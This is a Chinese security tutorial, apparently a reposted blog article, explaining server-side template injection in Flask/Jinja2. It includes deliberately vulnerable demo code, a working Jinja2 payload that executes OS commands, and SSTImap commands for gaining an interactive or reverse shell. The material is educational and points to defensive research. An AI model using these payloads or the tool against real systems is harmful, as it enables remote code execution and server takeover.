SSTI模板注入漏洞详解(附一键getshell工具)

admin 2025年1月2日19:31:34评论215 views字数 2985阅读9分57秒阅读模式
 

01.简介

什么是SSTI:

SSTI漏洞的全称是服务器端模板注入(Server-Side Template Injection)漏洞。这是一种在服务器端模板引擎中注入恶意代码的攻击方式,攻击者可以利用这个漏洞执行任意命令、访问敏感数据或控制服务器。SSTI漏洞在Web应用中较为常见,尤其是在使用模板引擎渲染用户输入的场景中。

通俗来说,它是一种web漏洞,出现在使用模板引擎的Web应用程序中。模板引擎的作用是将动态数据(比如用户输入)和静态模板(比如HTML代码)结合起来,生成最终的网页内容

SSTI主要影响的框架有 :

python框架:jinja2、Tornado 、Django,

php框架:Smarty、Twig,Smarty

java框架:Jade、Velocity、JSF

漏洞产生的根本原因:

由于开发者在实现应用程序时未能正确地处理用户输入

02.漏洞演示

漏洞代码

from flask importFlask, request, render_template_stringapp =Flask(__name__)@app.route('/hello')defhello():    name = request.args.get('name','World')    template =f'Hello, {name}'return render_template_string(template)if __name__ =='__main__':    app.run()

这段Python代码是一个简单的Flask Web应用程序,用于演示如何从查询字符串中获取一个名为name的参数,并将其值插入到一个模板中,然后渲染并返回给用户。这个直接将用户输入 render_template_string(template)插入到模板中,存在SSTI漏洞。

启动后本地访问

http://127.0.0.1:5000/hello?name=1

SSTI模板注入漏洞详解(附一键getshell工具)

对于Flask默认的模板引擎的Payload:

{{2*2}}{{ config }}{{self}}
SSTI模板注入漏洞详解(附一键getshell工具)
SSTI模板注入漏洞详解(附一键getshell工具)

漏洞利用代码:

{{lipsum.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
image-20250102150640299

常用的利用代码还有很多,可以根据实际情况进行识别

03.模板注入漏洞工具--SSTImap

SSTImap是一款功能强大的渗透测试工具,该工具提供了一个交互式接口,可以帮助广大研究人员以自动化的形式检查网站的代码注入和服务器端模版注入漏洞。除此之外,该工具甚至还可以帮助我们自动利用这些发现的漏洞,从而访问目标服务器(主机)操作系统,来源:@vladko312。

切换到项目目录中,并使用pip命令和项目提供的requirements.txt安装该工具所需的

cd SSTImappip install  -r  requirements.txt

使用教程:

扫描漏洞:

python sstimap.py -u "http://127.0.0.1:5000/hello?name=1"
SSTI模板注入漏洞详解(附一键getshell工具)

这个输出信息表明 SSTImap 工具已经成功识别了一个服务器端模板注入(SSTI)漏洞,并且确认了注入点。以下是输出信息的详细解释:

  • • Jinja2 plugin has confirmed injection with tag ‘*’: 这意味着 Jinja2 模板引擎插件已经确认可以通过使用 ‘*’ 标签进行注入。
  • • SSTImap identified the following injection point: 这部分列出了注入点的详细信息。
    • • Shell command execution: ok: 可以执行 shell 命令。
    • • Bind and reverse shell: ok: 可以绑定和反向 shell。
    • • File write: ok: 可以写入文件。
    • • File read: ok: 可以读取文件。
    • • Code evaluation: ok, python code: 可以执行 Python 代码。
    • • Query parameter: name: 注入发生在 URL 查询参数 name 中。
    • • Engine: Jinja2: 目标应用使用的是 Jinja2 模板引擎。
    • • **Injection: ***: 注入使用的特殊字符或标签是 *
    • • Context: text: 注入发生在文本上下文中。
    • • OS: nt-win32: 目标操作系统是 Windows。
    • • Technique: render: 使用的是渲染技术进行注入。
    • • Capabilities: 这部分列出了通过这个注入点可以执行的操作。
  • • Rerun SSTImap providing one of the following options: 这部分列出了你可以通过重新运行 SSTImap 并提供以下选项来执行的操作:
    • • –os-shell: 提供一个交互式的操作系统 shell。
    • • –os-cmd: 执行一个操作系统命令。
    • • –eval-shell: 在模板引擎的基础语言上提供一个交互式 shell。
    • • –eval-cmd: 在模板引擎的基础语言中执行代码。
    • • –tpl-shell: 在模板引擎上提供一个交互式 shell。
    • • –tpl-cmd: 在模板引擎中注入代码。
    • • –bind-shell PORT: 连接到绑定到目标端口的 shell。
    • • –reverse-shell HOST PORT: 将 shell 发送到攻击者的端口。
    • • –upload LOCAL REMOTE: 上传文件到服务器。
    • • –download REMOTE LOCAL: 从服务器下载文件。
  • 获取Shell:
    python sstimap.py -u "http://127.0.0.1:5000/hello?name=1" --os-shell 
SSTI模板注入漏洞详解(附一键getshell工具)

支持的模版引擎

SSTImap支持多种模版引擎和类eval()注入,列表如下:

引擎 远程代码执行 盲注 代码评估 文件读取 文件写入
Mako
Python
Jinja2
Python
Python (code eval)
Python
Tornado
Python
Nunjucks
JavaScript
Pug
JavaScript
doT
JavaScript
Marko
JavaScript
JavaScript (code eval)
JavaScript
Dust (<= [email protected])
JavaScript
EJS
JavaScript
Ruby (code eval)
Ruby
Slim
Ruby
ERB
Ruby
Smarty (unsecured)
PHP
Smarty (secured)
PHP
PHP (code eval)
PHP
Twig (<=1.19)
PHP
Freemarker
Java
Velocity
Java
Twig (>1.19)
×
×
×
×
×
Dust (> [email protected])
×
×
×
×
×

获取工具

链接:https://pan.quark.cn/s/442f2a3f5a78

原文始发于微信公众号(Z0安全):SSTI模板注入漏洞详解(附一键getshell工具)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日19:31:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSTI模板注入漏洞详解(附一键getshell工具)https://cn-sec.com/archives/3585299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息